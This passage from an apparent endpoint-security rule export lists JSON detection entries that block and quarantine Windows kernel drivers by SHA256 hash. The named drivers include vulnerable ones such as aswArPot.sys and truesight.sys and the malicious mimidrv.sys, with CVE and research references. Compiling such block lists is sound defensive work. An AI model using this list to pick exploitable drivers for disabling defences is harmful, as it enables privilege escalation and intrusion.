+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469867Z",
+  "creation_date": "2026-03-23T11:45:30.469886Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "261969a99718fc68b576eb7b58dbdf7c7a781c8f4572b7a77a0be0eec4b32dc2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "159b81ef-6fda-5a96-97c9-47533b1d70bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822459Z",
+  "creation_date": "2026-03-23T11:45:30.822461Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822466Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19f89530b8caf720c91c82977132bb1fb2afe695b426b51a1ae1b35570805f32",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15a8ee87-b2f1-5591-acb9-d68975604258",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977712Z",
+  "creation_date": "2026-03-23T11:45:29.977714Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977719Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3efcf47681d9f96afcbc843a241c21a643b173c48270446f6fe634991a57847",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15b47584-370d-5500-886a-85b11f589c90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143429Z",
+  "creation_date": "2026-03-23T11:45:32.143432Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143437Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9418b5e90a235339a4a1a889490faca39cd117a51ba4446daa1011da06c7ecd",
+  "comment": "Vulnerable Kernel Driver (aka GPU-Z.sys) [https://www.loldrivers.io/drivers/0d6f1b0f-b94d-4254-b3bb-49de61246260/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15ba9560-f528-5d70-bb3c-9d4b58c08e72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968580Z",
+  "creation_date": "2026-03-23T11:45:29.968582Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968587Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36e3127f045ef1fa7426a3ff8c441092d3b66923d2b69826034e48306609e289",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15c9c212-ee5a-5437-a41e-ceda62d0aa84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604538Z",
+  "creation_date": "2026-03-23T11:45:29.604540Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604545Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0376d4554b4828a7e3721327cb4c9977301c02eb8c50d10d376d3be623d71e3a",
+  "comment": "Vulnerable Kernel Driver (aka STProcessMonitor.sys) [https://github.com/ANYLNK/STProcessMonitorBYOVD/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15d0fd27-5812-53ba-a9d1-3bf24cf29c61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468849Z",
+  "creation_date": "2026-03-23T11:45:30.468852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468859Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc732dc22d0521fce33ed9c37359f702c985d2f35bc00209c3a4a076d6ff564d",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15da0706-be96-50c0-b884-b192e24d2182",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974713Z",
+  "creation_date": "2026-03-23T11:45:29.974715Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974720Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "886b28af7d2907a61720da0b6ea5d88a9a8512ceb120e88889f3fedd6bf313b4",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "15ff4712-7fef-566f-9e5c-7be664522f3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973552Z",
+  "creation_date": "2026-03-23T11:45:29.973554Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973559Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c4207c90c97733fae2a08679d63fbbe94dfcf96fdfdf88406aa7ab3f80ea78f",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "160086d3-7131-5956-a08f-3c7c1c54993b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621298Z",
+  "creation_date": "2026-03-23T11:45:29.621300Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621306Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dde6f28b3f7f2abbee59d4864435108791631e9cb4cdfb1f178e5aa9859956d8",
+  "comment": "ASUSTeK vulnerable physmem driver (aka AsIO64.sys) [https://www.loldrivers.io/drivers/79692987-1dd0-41a0-a560-9a0441922e5a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16137621-a1e4-520b-b398-6845f3c6b427",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826318Z",
+  "creation_date": "2026-03-23T11:45:30.826320Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826326Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b836d9305dd22387514c2e1507cf36646c11abf088088bc3f7e6ede49113fcdb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16157b50-8677-5e5a-9679-385642f57acf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830926Z",
+  "creation_date": "2026-03-23T11:45:30.830929Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830934Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c861174040ee2b28e4f79fa1d5829356f8e728a4913d41c217d15a1742636f32",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1616d13c-ab3f-5b1c-a737-6c63860c4a8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472080Z",
+  "creation_date": "2026-03-23T11:45:31.472084Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472093Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b568c4e4c1c7dd554cfdf07bf0132f3465a4afeed5a9ce706edcf7860b26f0a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1627cb79-875d-5ba1-9838-c6cf4ed90875",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612699Z",
+  "creation_date": "2026-03-23T11:45:29.612701Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d5ded14ba7821a1021815e70399801bf87dadf9b9eb17325e3c918d53971c8e",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1638ff1f-2991-5296-b351-7177cfd89412",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814747Z",
+  "creation_date": "2026-03-23T11:45:31.814751Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814758Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eaf8ebd8ded6b90d0a18a8ba64a0e8204da93ff0012b119dc509fa4167b0098a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "163db276-568f-529a-866a-2c1977160f7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477957Z",
+  "creation_date": "2026-03-23T11:45:30.477960Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "633ae4822602acd252ff23e73ef4cc98130f3e3988ac459f7fda5102fcef5fce",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "163e58a7-c43c-5aa6-a62d-1cba52cd4c38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144909Z",
+  "creation_date": "2026-03-23T11:45:31.144911Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "924de0ef972f4db7bee5f24f32b558a8fe7e7fe7bfdcaca1c7996a0cb67e33b1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "164192c9-6a0d-5bcd-8512-65371ed020dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622036Z",
+  "creation_date": "2026-03-23T11:45:29.622038Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622044Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92edd48dfac025d4069eb6491b9730d9d131b77cceaa480af9b3c32bc8c5e3a9",
+  "comment": "Vulnerable Kernel Driver (aka AsIO.sys) [https://www.loldrivers.io/drivers/bd7e78db-6fd0-4694-ac38-dbf5480b60b9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16467a79-82c0-5c3d-a3dc-b5004a2c40f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144499Z",
+  "creation_date": "2026-03-23T11:45:31.144501Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144535Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b82e0c2e81f47754b5af6a366725ed07b283699873663806d3a375e9fdcf9d2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1662785f-79ee-5539-9c0a-d839d9f11efd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834028Z",
+  "creation_date": "2026-03-23T11:45:30.834031Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834039Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f3c0232f43e940cf8e7dca3ef30eb202bfbcc5c22b1f4aec5eac93fa1bb8764",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "166aef44-aa84-596c-a4d9-11e00b2013c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970157Z",
+  "creation_date": "2026-03-23T11:45:29.970160Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970165Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60f79c1b60a74b98b4f436d6bbbf5aeb9ce6febbe1443d318eea7581962b75a4",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1671a50f-38ac-5c13-9932-47f8a0f78862",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828359Z",
+  "creation_date": "2026-03-23T11:45:31.828362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828371Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e02a5f2f9e809dc4b43f1efd738468dd2d4c2ece245e79e53a573cdcdb4dcb6e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1675de5b-12f8-5adc-b16b-13199706802b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473295Z",
+  "creation_date": "2026-03-23T11:45:31.473298Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
